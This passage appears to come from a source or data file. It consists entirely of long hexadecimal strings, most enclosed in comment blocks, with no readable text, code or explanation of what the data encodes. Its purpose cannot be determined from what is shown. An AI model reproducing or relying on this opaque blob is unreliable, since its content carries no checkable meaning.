590c9fb44c21de6a79de792d61806d68507cb2f996ae94924691f0cad3711705e3ab5d552f8892fb887dacb2c60076807d358e285fb55c5b91ac361e66d7fa4783d6d1c12efb848052860befbed0bf61ae1aba0319d285d3ca2a663b2ded1847c6c15ed3f928bfda594c7dbede7c6382d61df1eaefbce8708e1ae870efce2452d953728d5f1f16b5c36761ba8dabf7b86231da43440f4c51b4d8f319da9b7af69c7e96f6cd106abebdde64dc29a335c58574344ba03d294f03cceea0600b7470fe1112a0a18888bd7312ef4f08f155508a2cbd4c04f7310d98a89db858d923d11370f1425738fc1b4c4b904c34971d51126f1913fa8dcd9b779bb05ba5c6a6df7564bf0937825a65d15d03f23586f14b6210eff74e0c99be5f3e65b777c6074b4000043c0aed3ee54a4de515ea0f219bb131aa58d782e6eb22edacd7258887c6773428c9ec684473bd3edc600f0d0eca928852457a70898d3a75111addc46666666d26a0b48f0e54ad283a39a04386fb5b2450cda34cf4bd4c28879a0aeca258e1c379b3bec085e5ec96ff25040abbba995dd671ec9ac3f7e8dec4aff2bfc1729ccf0067f61a1ef0edde13f3c8ed8a94ca16735668196d66bca26547272d0705b78c61ea6136c11fe9a8738f52aebadd3979e719b3a7aa8db63b4381d36c2aad77a12c3aa9b866ff230b7cf61202be6c3f92ed32610e95c701548eb316bc1050e7d325685a83d01a8204c3025240c93e1988c12b13a4c66f0faeedf1672d2c68ae9b9274e99562e8483cca631b81dd2bb95feb0d2e5758fff7d95378cac0c57fe9084047451882e724cbf50ac01410b4f7258f986dca50e78b3027d62dd7ef3adcc1b22d202fe2c99ca54d3a2edfb312c0e814c56a57c1d17dede7731122fb86e9785813e3f37fdb837aec196a504dd1773a608990f9f7280b1f6999b010749306c22d0adef28d1b473f7d9bea44a80ec348d97e6884daae9682505dc49fa52656dcd286bdc01473613a81daa4e0524bb67d92d294c01393c676b9381f86f44bc78da1c0f4ad571c2642e042e1b0b209d30f505523e76a07ad91ee7ab6025a122d87ce8d6d5aafbd05634e69cf92ff02a95ec4622f81d0010ec0ea33042f8d29ba7a754de13688d989b72afe8ba0997fd9461520d76bc47087db84b1c51b40331b48ee72e4f544e00649e1198d8b02fce8b4cb62478e41d8145999a6d4e1395ca15f044491d7bfe1161cf8bfca938bf9ead73394e25de314c2a25acf3331fc8ad9becb3979929ffdf91d8310d1dd28cf1981396e92569e36e23bb9303e021c372d8e7f8e2262974ae3e23845d8ca8b078f0761aa5bdfc41b8227d1d5d0dbbb5827121e0c0cb0cc1cfda57e3300e9299264aae316946fefd8b8023685ce6c85a5ebdc1724ff2ea79e94658fc0a26e904287ad34ea38aeb35c39a5f10e65e5225bf0a960a06e5532a62a730e07cc8c*/
/*a4faba9e7f69f637e9a7f10155370cd82a08fcb858b3961a1a96f588cb7f2e94d12d2f2929c572b2a04baaeeef68a3ce1ce47b5bb032bccca4e2d8fe6d98be35508f25e446e3bbf650fc013f1b99112e381115f09eaa295d197c9b6f8071b9716c22a13679884a32237a307be416053afce800946b91934bc7ec91724b551c8b7636e6f5abc70472113ac54c5aa79c3f0611436cd8cbc7e29ebe89902adadd7ec6b2a33a183057fd57f56cbed0843fce484d1eb29d24c6ec32e7c7dea19aab76eb92f3131d03fb9ccc4cf7529464086ebd9ddee69409aac0eec3130c3431b69dbb68099438a739103d6e045f1b5d614c2ae9ae6adb47752e12c30b818f874cbc353b7112e4bc039a5dd51099767f37e9e0f72e3671a70f6c2cd8410de8dcb8349d39a9fc2deee33a280d393e04f0881c80cdb56155245590f035f9c08d8f02f5227c6bc6100c24f5dcf3dae81dd5350a2b5af977465f89982b410be70b4d7e291ea52a9f134ba67f53c3512d7e6461f21b8686ea4eeaf9a71bf7f004d54f36a1ade8bc31773281186ae713fe348cd0ec6aed837206ac987d56631f486106288f93f613447bbb9ddc4e35dc0604f5f8e163d6ee444f8d9a98f17d195fc5c5e7e895577c511a9ed73581d2e3c11eaae1979d8282fb56906c93f1df5a25f1d056205090cd843fc8f686cf607e329d95c0e5d5eba20c60cb217467e4e7a396eed16a1fa3e4e6db256b6eaaef352b146b9232e3523b40f9d3afbd5e3449ee23ba4bc31f7e95561903454d7c9d67ec6ede9a0f59e16e10178e874c13ac3c760756deb9c1faf9241cb4388fa12a50a66b30c005089b1601423ca72907da501ec9a5805eea14512b3c062e27a4046fefe51026dc402c4f6e4f0e9d67942f9ecb34bb0c85ff4cf2a89c5299fc929dc8c4ac105d599267e6f1c83139ab06c365d101f4780f08f590d2ec2452beb2a7d5e546fd4708ac4fa91bdb1576f768965c3e4b6c944a3f6a01d58029689ada7355f99ab7f5a28b5513a25081f00e0a181f7fdc7f0d45adb39622f14d52ec2caba11cd6a3540ed63f24560266d5cca32efd2e3bd3806d929f1bc0d892db45e768cf280bd6493ef14b3bbae1b3aabf70b602cf5c5a38dbf08ee55e65fb94b667a93c22a2d360134c579eec4532868b184b067bd7bf21d8617a33233563c20263376eeb46e9167db7bdd9254a475653687ff230cb4c5f2828e65ffa79b98cc5d400fef326da0c2e54271a13432f42a174527f96a65228bb37e846927a2b5a7e2a312f8ad70776d081b5cb20024ee7da97a09c22e89eff3e25b41fc03b17488d0d90a8a0f447b688614d61337b2b52e49102657c73d330c360f4688a0ebb910372a674f2d45c5181962f8103175e94f861658ef223c43e9456ce5be43e0cfcf4387783a60006e51a87c900d627c797933e7c524b4206fe3fcf2615f497d94023297e79cd332664cb40bc0c5601a9536fc71eb6faad8a572c9572c81618dc3ae2af4a4c39959faf3b0fd3fd3b076662b4953f8a91730e61340174fb44157eb4b76d0d3f2d4c81988b684593114e7c09f9d17569914b4d9c2fec65b250b834c5c784e9571b75b5867a4177f24d58d39a3531294034bb9b3fce08c922238efc0763c5cb88cf9aa12adbf5534edf495d1e1cb2d806205f400dfd4224d569379fd065e477fd2f0c7d96964312e84aff6009cadf72692484d6c2b2cef1c1177b58a1dcaabe987670c621d37311406bad391cc0a32dd45cd3a0888ac20bfe99e03dc770f4b2dc930ba8491108ebffd6ad9410b73e48c229b0a580ad0906b5766e0c152aa233f07a05c3a27b6eaca0cf16192e71ffee8aca448be736cae4689cc70d89429c01b591710636d38296eebe54e533a171e3bad13b42e675f1fc9dd0ef7412cca6fd9fe04bb7e9a35444dd66582f1e90e59c74469006d2780a0712124da0d9222da869b59499bf7a5fec08a9f2359ccc51d8d89ec3b03f56549599d872fd477bc592c2941fccbf834198a1d78f39ab026204aed58676ccc409b940450949d840d000b8735dc7948d6ae883cc24573ddc05058c0b37d9e5cd7caab525c4bcd9a4c0783604dd231de8fa0d04e2665dc470dd67df09e42ffad1e5b001d00e51e68c6f4d52fb55b175f5e9ecadb258fadb7f40fa51e2d9a6394a43f9df8dd7da894cbd7baa781bca8393b785120c4b6568d9ca52172d99696ac2c6035a8ae5f045ff8abe136e50686e482232826b2a0d71765c5fbcad43e5ac9478b131a55271bc3f4556e81a812c6b25515326c35662f6f3a25af93795a6f7667e43f774b78e2da5b2c888139ab9b28a5b6aefcfe55b2e4fc4aa935ce7af501866422061faf2e336ce763ca32231bce7aa2c18b4fa2604cb87d13e7ad9a8d6f865a1e63b34fd5f7cb21f55c5400939beb66e04c9dae71a7817323a6a1190305b720f05a0fd89518d4d16260d11e37b4ac3be200e54470742261a19c65809afbd66d7411e05e9b7b19b16fd417b05470fe851af6a03a763c77bd4b25f4eca9f5979b7a9ca6c561bdf29ebbdc477cfc9e9f7aa2ea45e2306ea2457bfabec7bcb8f2090e47a30af7b7aadee0197faf2c39b3a0373abd0d3ede00561ee11113e9e7ed360bbf7c35cc277cc19737c00c478408b4c8d007690d56d8ef2e2e9877c3457eed354ede7c63363a687e0c190fbf371ae3eaf25f1ac9af6151026a5b9c41a8b8a353b709bb441012a5ed1be50f1a9aa8ec8508c873eb8252b5da5fe5b6152a1cab03f7fa9a544997562de67ed0cb27f2c2165e49d323200dad9db01b3e855903a0378f21bfb3d5d7f097b9d5f5b4c22*/
/*aeea2654dfb5e0f22013d33754adc46ef03c473b932c4eaf7ec78366f74f637154c145d479c983e11a8165e8effcc13542d8aee1f172711fdbe98063b5367ced19b74750a29b89f6f99484f4c15432d7211f12e48b15b974d20232ba42415f020dc301a5762430d94453ee266d31147678a51ec93e661018ae06261729fdb1090f1c9ccd4715a1eb97a63941dae56f243e63c5093d946395630e1b6c56a586aa6ffad536f059903e070cfb24402ef697e4f759b3ea25a11d6f612772939316ceb2f3cc65a9ec159b98381767e8f838f83d475c6915712a3c7728ca6566dd450e3568a376d2dd75c468d9d877368f3887afa598474ff18b0ffc09f34fd5fa26f9a137a927786998c786e40dc0073cd62cc93e3332173bb9311f2eee62ec57c4d0cfdf1d8c1c7ba9675d67d1c3bb5eb9001e7e38c3ac047fb36eb52fdddee5556a5bfdf803a8973a535829abba1ef237e36a87cd10246bc04af4081b5fa52a0ea4110ea4087e5ba53a552612c6a48de4933763c2bf7bb8737fd9952e1b691b2b19ac378cb26616d0b3f12f106bdb79a6f378d4111c0eea2eef1261fee87e3b1c817405913ae7f279ec31d3a11d4aa50d25408451beb7c4f8d9a906f1c64798d64c64f6325a5d3179a53dcd507709b31f984cc5ac8301d8e93bf4fef0cc0faac8f4dcf4d78d14db1e2a8d28f94d1cef57e74956c9c1423bc0f78df1695e23c662f400701ae6461cf81ac716d6680e081fec8d9c5def018a53debd7e968b74d5b070472af37dc45bbd19ff994dc1a503e9078e57bdc0370f6c9f2ef69eecdb1d3603a16360ec63e1e661f512adce494810567c061d3a5c3f00a674ed0d733f233a5e349b13c6956b3d23a41f0aa0e9d59301abaea10ae73185052bd0366ce720cbac3a08503f75f4f9297f7a938f8e70f2bb8d7ead126d8dff184474d742d97c08a0237b2b0afabad3b2d11b77ba2129ee11215a015c16d5f0a093b0d791b1192a269d6e4e378d26e9673836f6a23ed7d246e2fbe7fd976139849fa7676d5f33e728140eda277f144b935986563ad336d7232054253ee207cb51676af2e81f6c76182117a3e1cdd023b88789fba642621d89c1b4d5606af2d84549552aea06fe595227af7876108bc1f6a14605f9a44838501ec0dd075bc1c6a8e9998eeef6bb35146b0e14513d79d102f7965c9d82536fde95b1460ed3f2582f4be9d540c6f5ed61e1164aced9f0836ef86e92ccbce1b670233249e9b9332a519f073490d3a9b69803e9767378abb665630341c688e3cd6aa788faf4bb6ca69b8785b891c16c785b4777753572c8e1652b93f5ba97106db3bb283f8525fa94e97c0ce7bc239698f6cf56f6edbb15be1d1e277041612aaae75f87f35a604bcaecb17ea9d6c52b40db64b9e8b9acf67f529c913d9839bf83228d2bc3e5bef5ec6b284998ec7b9455ae10362773d87d2181a4ee4fe895f0e039038366c2475031bd19a9974225af3891eae3dd5cd824ff70dd02b29cbc9d424d1980283149ec2c04c70b9d02925579e5d70d868a33a34fcf1ab6438520a521021a46c4730db0bc896f79c1358ea02792dc5a4d9948e3cec5b08fd60800b987ef7912998f46fe64868eaa518484c7fab4dac38bc57f7185eb55079acfa41c685dac4fce7a34956e709536464b0b3fe696a24a58723680e06890d0f45f80aceb094099816c03b4d4c25279cfcb7bd2172cfa924eedf06bebb934c111268973599f63b7a5d66d76097571f2ba158f425d2f35d468f03191436e59976288e8aa4f27c08c0ddf0c166c8d4f50e8f1c443e2f34ee06a4b23ccc9ac2754b53998f2aca1565e2aeb85abfe0e75fcf466481a1ff5e67c3ec92448a530dbbff52e2b267be0db948611be91da55df5e3db0c10fbf0524b98bc7cb0bd6aa89326ebe83bb36c45a5b3a8250dd7d8e1f13422e25688cde87b56d67178f06e885f113e6993b4f390b50e5a87a53ba529152ed29126fd529341857d8e4ce6c82495bfb0004fef63302b3761db21707fc13565e1893e0bbae3a4ebf051bc116a027edea6dddf53fa4eba5f31ed11b7b0325108ab4ef2a17296aed9a9f54462061fb8d91402631b19401841091810ae2ac4d448bd972991bb69e9a3ab35a68fd116b6efee7ad66801ad722e586fcc8f906ce99d025cfbba2649c1247814e87249be1b77ab93d4ae0a60f3aadad82f46a3f569fde1d55308ec53254f3210a61004d5921e0fc5851faea1983e5447ec33183637fb84c321b8fa86432d678c58ac4219bc446ef1aff844e933601d5624c017de633fc1e0a08d61ed0134f4b2b9c3591085ecd098328f698c105dc7f8157775ffcd65fa32c28b824c6960c3ac34fd79b9bcc289dd556806d6346908aee0b404cdc9432c9d3ae6ae5e3872b810ca90f9cbafe0b1080d1106f9440d1e81f693c872940b29b49ef76d550b1bd7df54d6277beeb703210d144215f0589b2853571ebcfb42b054390aec2f51ce86d45ee42a6d840c592a8644a21fb088211eaa6a3b1fc9f17954be9c4f4c491a780e7c8e347a25f2cf3733dd4bc2b088d21c76376d6aa2f36777431057d503a5220c262275063943fc9b5c59da995b3a51188ab6e3bf2ff817898ba66f5dfa9b5a77eddbb9e9a62a07b351292880f65dcd253c94b6d2f5bda8b9d486bd3650358a2a75333c4b4a110970dab40f0d6287c5afcbca7cc3a8e7f28143cd3ab69b520480224eb1226947a1831f486c11c2675b7d21d2cf2eec033f30a0c7e9cb483233515e8a815520f5fd9acc37904b94f9a8cd625c12fa5e4a6bf58a3628e776cb95b3df1776064be6f802b489ace*/
/*167dd159c5836db7a91e839179063f646b5347f976cfebc3db13adeeb596fb2138f2f7bfec1aa0f9da658ae63c881c9458414e00bba8a05329f32cd73625659d3bec048cfef3a0f1933ad2ec8c4c249e4bdec46e49fc8441619b8241e4bbb26bb30c643477608fbea7409ad5b90e6afe4cf78e35f55c378727cce67d3beb37e8c7ec714171abf164c73353968182b6730daf3618b3198c521bd8828149046eff23f293c857cc8b9727994d63003526052e81bb4098144c979a03b59ca405ce79ab69543694ce4045a2e9f3578d50c3fa6e49d71f2ef95825e420855f2fc0ab8ebbd61b0ca75d55dd65817e5ee3b058255f6ffbc70ba0c7d18b0487f09c4072061c97a94d3ac702e3d03813e2391ec68ee95011ab9242297517dcf0834f4658f0d86543a6eae01a1d7998f564cde53c595681acfe137153d875b3bbc59144be309a42b63ad33cc97b547fc0679fd6bdb47a6ccf8bb3ea364d8497e9e68f61ef145c99cf44e445724302ace5cafd8663c3faf6a4e3988407f5edb11791ad9c4837cbbe32661579aae9632f60a7f0c52af68af6edf12dcd8cf2fdc891ec31de74ebe0e1a7184ddd024a763fa8164729d99de62eba049aaacda207fa95a1edb634c798c0cd0778cbcfd914b3580bacba3f73f4a3072919b0a147787b3eb2f5554dcd919135e5ced821f67a61146ee3bba4630729903e154674aeabcdaa7400fb593cbd399850ded1a91c29aaefe62681c1a1eb373cb3064c8fe4646814ef3831377ea4f40bb66f63c1bc09ce9875154bfa06afd7e373ab4c9fa9199056f9e4be4bce4ce762c958e436a38c27a339e3a464d879c0a975d1c282ab504f56237db658bb4983dc97637a11c1b1a435f21f716f7555e35fff2d14936b5d992f2728d7da210c5ef166cc6ded2dff417c84fed5aae845eb85d100c544d26fe8cff80150e4ceb32f93b81282636204f738161bc2ae8a061ef4156459d17383eb16173205dc52b4e09dbe505e453f935ba298ecdb7975c2c77642457b0c83bc10acf97da6b37558f17eb7d721cd90d81fb57c7b8f62ce19d6d73ce3cbc08c1b1861d82a7b4ab864ae2c9479b77b9b504ffd17c5a150337e5a49e2748d1545697e200db0a325cbbc96a701ef8f5976211a932b818e48901f4f16c4af0870f24268e7338f7569b9776c09e66bdb8e27a1dd30d022a64aa803171df61d5343781927dfc9fc8e35ca69b065738a60d4a8ae59c42cf134357ff457ad12a6bdd5d747165b202a73f2c5a62c2d69801b50ea54f9b289e57ced26791c2ffb2833adfe0a847b10985fce4e755ef43a4577dcf731ff9b5c81f8a5f86d3e0c86861ef6a92d19552ca2a2fd1d37e41037c1912c18ecbd38b1fedb604923749b895d56b08eddb82030ebc51b72d0dc431b1b9d1953d0c73ffa98e1cfe301a673bc390fe1b10e7d0603cf0a37f27c1a71265c151fb3945252e1c3cbea6b57885416a27e2cd6c5455681246b337fbc40833faa2ec56dcafde959cf9d508ca0f327f41e8769159fcdec55f48f682deb1356378929897ed0f64367e7fe638065a518575a879af85e4839216b1ea90a41109ce1ecf8717187cf0eebedb267093245e1015cd04d062bdd074a38c6ad93d137a3bfda5cfbd2beb3278666fa45f9db6a0f7a1910c2d854edf0632b0ff731c950656faec960dbe33d173163e91d77bcb81c7692b09d1b7a94acb30b9a78b7cbe43decce57350c41b337a6b397f9a41eed8b1ca8b65c2940f1b128daba0671d0d252833a6a47fa892a20f2de88024b7ee44b52e3ca817b255f9c74d12ddd9e84bdb83472b21734fa4c899beddd725b71ec03ceb83f4bc53638fe9e2484eda1844174982dc66746f4f3787c0cda531dea475beca1560e8488caa28457e0b0589a6f5e6fbcaf68559e5a9c5a7b7de60fb6f542a05bada88c618f968de98098f142389afb544559deeb6a895e3b4ac8f1a36c8b137fa39c057138e44e0a872e39737c6034b610e40d520e6dac13a774eeec297727e1d4f16c2a34521554ec59ce30a241064691c7b2d54b5222e216775ecd16693c2fb02d8ecb6dd1dd41e8a51f21dda3bd55e57ac1bdd6f285043d4b7f12cd36eb37a1f740dff6e2348c980ddd404085652bdb0a23057fd2d5d25abb352b19bc5a640678bb9757fa8fc6fe9fde1ac6e53d2b115bd853e6fff94bb7c3033e68d10f9b12851a965089a6862c8740f6ad42efd5ced930ec800c15a796b3f384a0ae1579fe466c93f80bcf1e6f7785c5d50fe6a4fdc6ccac9f9eea53b2e29123b8352e9bddc09c367abd1ffd30429be93f31acaf7cd37ff36dcba88b8f8fe30a564cc5a3f20b7a770501755efe912ef38e9d250df9fb192e924b6a46ad7bc5d625ac8690325f214a3376c950124778418e93adca039e9af1ea18e7b7fd7e1478bd6a7bb9b5e6c1d90a005afaafda1c2d0e15684dff48d042715d2b85c6556e0d3ca2faeda63b9375cd2451635b151d030d99e28acf8282e16657fc36e6dfe75db05613a9094ff4c0c0bbfd96dcda7a23e26124640c90ecfedaa84476f8d2b98aa24c82d4a9194d502e90bdcb8ab5967ee1d6ac801968e1399ae8c0564c71c8073ddf20c6700d43ce912147dad420db099533be904bd27ac0a25b54d174bd9c36c1d562668f239fb243400ba86dae802cba05156d26de9368a5913a46b14c65a40e6661b806a2aacacf9aad07820a2db8073d02548146412ab0e00e3887b20ee83c9062be2b13cdd3cd35d064bd7703231a1d7aaf0b53b647f2b4f5abdb653d019ff2779ded6a1769a58b232785ac602399b21e5c44ebb0589a33822c1730de*/
/*d2900cd28a9d673098324698aaee9cb4e81ace6bb664120b63673da321a3bfb4ae354ecf62b4385393070fcad8e9e1479caa4a913dc5229ff04320282930b215dad1fafd6804ce15839f5fa442387c7eb0cea394620177d4c0c53c9e6e747d93aec43eb3112320ac155399cb8e6cd403cd10156061cb06d638782fddafaf8c6787ab1cbed2d005e26b1223535512e3e2de91f37bd7d28105a6234c013afb427d09d1ddbab889c22d5fd8c207b88e3b915d5d620bfd8d535b5c0013a76b468adb2514f1d2a20a8133c3d277bd3efaa48ba6ca208d423360b6ddbdb1e3945b501c220ec3130ca2deab0d45e35fcda232ab50e7007b787045bc219e8358c382307776fde0605b074544e691bc6c1b958b99e351098bd075f7ca2e355674295f01136535c271a1fd9d4b251b136730870675441f39ccad07c8fabc6ad0481693d4763d79ee8b8f4e8efca92d6510ea2cd0fb3933dbf350f52a76a49b516ea55144480c6de20a87ba2c31cf1d691d3f8226fa60d366afd4d369546ddf16b093c735082bf8d4b1895cd69d84900b60d76be090bea923125f57b81beba79c7828ff650c3682ab87b499a0ed63c7df48766f1fb8e4c6ef901e8782359bb0e30d22076576e0cc09b09eda912d0dcfbe5f8c6c34ad80b96815a8545a90258c9b4b904a8847d069a02e55330f0044492b028c1cd51e4eacceb3504b49451b9c5c979268ae0181a0c7ef6a9feb9bb223d791008db72578a4e2c5a76225cdb9b913eaadc2b343c89d1395d1be49cbfec2c5a72c80cca05dab76a7457a8a472bb3560fcf7fea05aa6b969ce2c8a9230d537f9ee5fd2d31fc5d9b24d6929e5025342d40b51cff16e08f8e9388f13ed7b05d6d7f8b61ecff76ad75473765e5b9d2271055d65cd9c8f6b3cf3da3e3b78a2f494be01b8590faacbef3bfe463fb674cebb41d6b2a72b0cf540aff783d44d8e07b3deaa15f880b17a14dac083dac681fa149fbefb10ccb00a416ab70ce4961fff628691b843ad7402be2053fd6db61837e7f2a83d8cb86c11f6b81d7a842a68a5673993489d0157ad65cc4fd1f9f586a0755ae2e75fccb64f2cfdaccef76f33d8c3d0d4bd246251267cbe06e806c10b6aea6b60fa2cce389372e9d3c2dcafe17a19c18a2f0e8c961454ea3564582dab7a0d62c0b23f490e8171cde4b0b27feaf3dee318b341c8fe2ef32781514b576e7473b09dfca9be7df57f22b51f7553753c44effc448491049e5afa4492be753fa7a7b01dba60c9a7acb5b52c2fa57c8a383335711162d0734a48ef8a2a46148f65674760b62bc47537388dd2bb28fbeddd727c1fa7d0b8d2d3cb8ca3b5b59d470cd2eb3972bc155400d372210c526b759da22658b24ea06ca696d65709ac8d7c2ea3d35015d269b17caca99b78e12cab46a2ebe6d9233db809a338171f1b324a637043cfc62cf657ac1de11698b31c0449d796de9a14361167e19db1bb41a49517e6b306f38d4a0f8050d7660e3a94dfb8bd203554ce6fcd466fee0df0d0ed1cc59bf65835f9644f19c5839dfc08c7c74b8a9e1bb509af308df6807799039edf90d3df08630fdd198b54f3da8f4e1b2426ee335f5268dda36af6ead3301f6b8b1022d428628831494009c9fe0b6afbd3241fe27d572560ea06378496e349c64a7315cdaae010a34b2121ef563e4e9b874b1dc5a1b55f64581d44f6a2e15e750ee5317aa67d646464e3e324b30497aae552508fe99739153a2d5dbb28e0e7b87338f3df1d78f00c916dd0ab0c4502c1f5d5f4ca2079297fb1255d4bdee677867ccfb54f63dc3128442f93ae7a28b1473215835cf67ac8ad39bd076f2f013adda537f6f26f269f01b13a7df25655a1d6e902d2a3a484d6ac5a210873f12be85d94bec9c84bd88509b083b178ecb6911112bf8d81b53b04a4012a57e5dc6000ec7d00962de4bc573586a852639407ea7925eafd0014a3e6f471cd0d8fd2f985cb774297f7337a0909ce0ca076d335582ff34e04e2762d421d270d3e2ab3eccd6681ffd54634a47942f5efd9c8c511d2abfe625bb5b734c95c52c6096eabb6b25a92fc038f56d52ddb2abe06c892441fe101dfc06435fa85bdd408ca9ca07928832924b8502078ef335e8e46ffe2eca42954a3fe08681aa2f7d9af0619a19cb7e85ea97269d80f2e2e5397b376a710356a213627a9e3482e830e13491876da1e7a7ffbb4d6b69d61a20ef35073380e701951efdefefd90ebf482beee1cf408eb59a30cd4fca9d42b3cb34f2b017aa443db896208fb380383d6f6d74137920d5088f4488f67038a623a393e0231b54dd108b1980e44d6d3dea4fb93e5b3336a5ce82a4be7bf47651a4b481b12b04a6a127cf26844d96b481085db874d1950695ec151fa83aa68cd982a0b1caa7d0538c592ab38bce8a972e76c4135897588306c9426546b87e35c081da13e32a6eda99d37de41c5289ffb3b3d42d0d46f243f89ea22e729046b8d3dba0172a8ff1624022506a9c1e5df8fd1130b306be87524183a8bdd31004ce932b57494dc1c7da6c46b4da6b18cb406aa68507413f903a398b8ab2bd79141d83220ec3e01dc2d1c81db62c80b1bbaee71d515a17101282628090be2a7917388835bd6b181a531906f3245d4d0077d953174f9024ea97dd453febb642cbd4596238306fc762f6e88d2c6e1e7f03b2a14a38723c9cce9dba90a8414f946a0e6941e339a18d7e3b15376f76d63bd9c9f062c26a837d658170f8c3748b8f113eacdd73c2cdc12f6e6684024a853f910078c055b965b9194f9ef337c5230cdca72fd478a0e0ef6dbd1532fd8fb71c157856b35aaf*/
/*95c473a560653625e1bd653e9befcc5c6b0b52246eda1b9a3047f27191661128d038989f4f5a8de057124a0a25429924078454889bb2d9a348b4fc69c47483ed2ecdcdbd264b03358efdb0b7c14d69680b3c89f1bb0181520d012f28546d3d325a86f405fd2be08cb712ccc226969e5766e1a542fb35f21826f04fe495a0e79898b3b83c29794f1ad908ccff690a185aa9ff36151c73faa86d59feda968cd0f415c1576c7f7a7c0f979c9b4a471e53d9b75c7e66b79c3adacae6cafafdcb432afac41a3d9e440001c185ea163ec2ba1efd1689befb9549f474824d7178852da6cd32bed5f7b7792bd79a2c5cc7f28ddad34f5a7be9db92ebc254b6240f1da09196469172e5c9d142fd49b280deaea4aba3da03af1732824501db4c1c5fcfe0f7d4f425f1622610eab410e025be1e1450a9b726b0c0588ac77b7f1017ca9452748b0317799ae013a3741bd83e805c7110907af3e0d3b6773983424e7521d568eb9f28fcd545217e837d1e4e25308b97b713defd6a696ab0a0b5540e5b2751f29940550a551ecdc5b34cb62474f9fd72f4571914f8516f31f23c19664230c9a9861af2fbe78efc60254b2a7429c39bba96b37d9d70bc6f4f49c8036945892f5f04ba32bfa917249afbe1474c3f8bbeb3859fdae1a602cb9bb78755cde6c446c4a803471f32675f4c971c3b7dfefc02c45b104087ba160cd9df9d812f4479d479171ae9f202b370735a10a55900ff67321ed44dab9d27334be9fc2d38ce60a11483f9f11561a4ee84a2c0d66e01672238a9a1200471d4640061d90fee936a59a02694562193c5ba9bc75c745c76e083822fae4e0d3d557aa697f0320146f90bcd9101ff4bb5cfa59140e9afcf5bdd2bcecb99c4f3784271b7342fef4e691ad005c41846db5d5118aea69f1f1ba579685ffac6a04cab9496ce1ad07334915e68c8efde4aa8e8747abe7cfd4d71a7287f84697e69d8d0e3198a070c7436036b93c41c9c21947fe142d014bb046cdef0f8dee78a0fbb7853d0651c90e801286dd7848c513659a49c925b896e8a8a94003eb7d6a3076c8bfedecb1994bedfca2127f33c3af6e7ade17a149cea876cbaa71dcdcfa40c3ab5905833a7495b38f02f3ed8200f722260a979d872a099cd5392c2e54aa9058ca4f5c69bc3a1b3e8765dea03255f789caf8706cc100337ff58f100785d95e926b70fed134a6dc5dba6d68a8f74e3bcfcd3addc901116a1e05cd2407f3c2454c06774dc33bc82c7ac42bb8fa30d4c11afa53d1bc6f56acc76a3fe317c0ae59634c85da4317459de5d52710dfa1a89e1704aa2795aff347cb21c38e979fabd2fa226816aeac65aa66b0fd5ee863716a91972de94bd89f5743ff1ac99d183161e3e70393fe0ce4fb54e9957a6db3e101725ef0ca0a5d1a9b4a706d098098f70de580e0b9f60ec6d8d6e91479afbeae6ce930425fa4b46b26acc7ad135d076ecb0f75575b56f1de8b46788adba8729cc2a87d8bbe0befa9986c3a24a39e9ab0b5202b56bc65a407b16a14cf9ed09947ff1a760c55b76121be8ef0c5e3a0e2423c5742cd12dc14e982fdf5501146a23d59a0efcea81a8f60ac6788c8c7093f221adff883efdf13651c7d8a45aa14f9892c631704090bc86e82cea390a3438cce72e147e2c1ba575ca1615507115490f95ef92bf6375362db7d7737a8c232c53c51aa0795f50fc752b24ee57f57870ed3de125d7d61ccb494c4c756e185bb564f17d0803951fa7b3d9e36d6bdad992f21396064cc93d427cb81874363fa35e54c825511d245d77a65ccb75ef89eeb863ca645872eb4f8b1f18d507b7dd84c80ae33c459906dd66bf693c75dca260d724c7e34f46602f34d498742699ae404057c9c7e6e2d1574c7785fedb80cc45b6ba00cebf5a80b02e0a662423e8739b7a571c6f00318bea543d0492ba7e77a3f855cdbf6f108711653e82f43eb97394fac7c63673b05703281c1634cf217ff2238297f0fe9ca99104f94ade85cbeeba3b3c7a578efb968aef938821d75c40814aeb7fc7d24d6c684e4482cfc056d1232da75e7429409f2bddd0ea644aec26c4706fa92954ae38ec106df4e59b28b5438619bdb505a33c49a57be2764fe972b7797a928ab412b07cb82915e5550c50769723b9a86eec6f5ae5b383614aeb6ef9c31f02074d11cba9a4d63dde2bd8835e2f37b72aa9c6a48f8d73affc951c8ef1eabdcea0165993f835bfdfb2e88654ab1dfc4e651d83d8bab05305f0e7c437b85c78dce1211b64fe2c33449a371d26588d311caf16cd44f41151de6582445d552a7f6e0f0debd0f376ffb5dfe529a0be0d0f1fb5ed6794118476df866c49b6ddc09a977ad2c205e03a4655eccc377aed0cf6511b2120ef5a08ade3a4dfe64a29161c0219c6eba3d7786a77fa4604fb38af029e6848e0279ce4a1862a1cfc8977dda6fb1d3190a0c7ea2099017dc5bffa110862b41e7cbccbaa49f3bc04ce447b6bd993cf631238800beaade6d31272fe43e427176aefb844da05ae4a26e7694c23982bc83e1337cd231fdd312d5d7338fc0e4f1c948bef9fec73f064ba88ddaf0a420ab10b87bcf98ca234c7e066efbe9787015f89dda9d5c7bd8f1fa5bb8f69dbceabff9cb055ea5eb770571394f9af6e55a25fa3b3ae3ad16e3e7d5952a571e3a6bb0d82518aeccb11838c23e1bad03f00708743b5b4289f9613b652b3868c451941e662a6cc07038ce348501aa16af50427b57a348922cc7882a7fbda499001969d01f7b2e48d5105d341ebf5ff708ee8c44fbec58192301e0adbea6ed3948a9894209dde8e2429715a3283a0bbd25b09*/
/*cc5c1618bd743bee848f904c23c720801071d952df09719709d3301c6b650c58c5149de46226e31e33033696228a31fbff99fa0bbe713fb98417acc6e0648c51d69b7a1241a40614fc7b79b382de2a167c911398e57da8bf03d1264cf5988f69b8fa465a587af3ccff67db7fa7149f5490e1702c0bdb33e6446546169c495982f0659413771fea966ec2137d5e8c7787f1952e4d234c2281f18bdea7a0fedf16b7568742133a5d41de1281170246da3fb8ed8c7d432aa6f75b9507b6cadfaffe8e3b14e656cb11e5b02de91a5f55a916b93a4e8a425d918caf8f7bcf0992b8ae5d2e0fb9cec112d38911d9378d8a6fa5681816ae4d3250dc3b60ec6ce8c915778ca1e9ab90837663f006fcc760cd922c4793deb254bd12407d3b8210e8ce0b205c09904406f9f8f7444d1977e2552e149d23803d4c1941c9608b7adb2e6d3b99da345e6d35778bdde08a5b2acf81929c250bf167627b42e58d0ef25c0abc473dcff3504716198cbd3c506397e615e44f5f003e38206722eea7c7f5d778b072ac552d49d6a37dc621bb189a01a5a79959dfca7f23ae7b4ebc3021c82df208324e0c2a6aa9a2b6fd6e575a6c94a2d38c42f8fd411b60849d3c3ea3c1e3375be74b68e1a65d8f9e7f01d85c8e5e27021e6c2f06366386720b8f595536fe6e0b148140b6fa404c0a30c3afea410875c792bd5986052803d4331